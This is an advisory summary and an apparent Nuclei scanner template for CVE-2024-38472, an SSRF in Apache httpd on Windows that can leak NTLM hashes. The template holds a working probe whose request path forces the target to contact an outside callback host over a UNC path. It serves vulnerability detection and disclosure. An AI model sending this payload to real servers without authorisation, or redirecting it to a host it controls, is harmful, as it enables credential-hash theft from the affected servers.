SSRF in Apache HTTP Server on Windows allows to potentially leak NTML hashes to a malicious server via SSRF and malicious requests or content Users are recommended to upgrade to version 2.4.60 which fixes this issue. Note- Existing configurations that access UNC paths will have to configure new directive "UNCList" to allow access during request processing.
PoC代码[已公开]
id: CVE-2024-38472
info:
name: Apache HTTPd Windows UNC - Server-Side Request Forgery
author: pdteam
severity: high
description: |
SSRF in Apache HTTP Server on Windows allows to potentially leak NTML hashes to a malicious server via SSRF and malicious requests or content Users are recommended to upgrade to version 2.4.60 which fixes this issue. Note- Existing configurations that access UNC paths will have to configure new directive "UNCList" to allow access during request processing.
reference:
- https://blog.orange.tw/2024/08/confusion-attacks-en.html
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://security.netapp.com/advisory/ntap-20240712-0001/
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/Abdurahmon3236/CVE-2024-38472
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-38472
cwe-id: CWE-918
epss-score: 0.90039
epss-percentile: 0.9955
tags: cve,cve2024,apache,ssrf,oast,httpd,vuln
http:
- method: GET
path:
- "{{BaseURL}}/%5C%5C{{interactsh-url}}/apachehttpd"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: interactsh_request
words:
- "/apachehttpd"
# digest: 4b0a00483046022100fffc1daf7624eea3b74aac79c390c611e51f56821d57a4f4079132370422469c022100f14b2e16ecc333cd3ef1c92ede959271949d05fdd68cb68ab63eccc09f7bc1e5:922c64590222798bb761d5b6d8e72950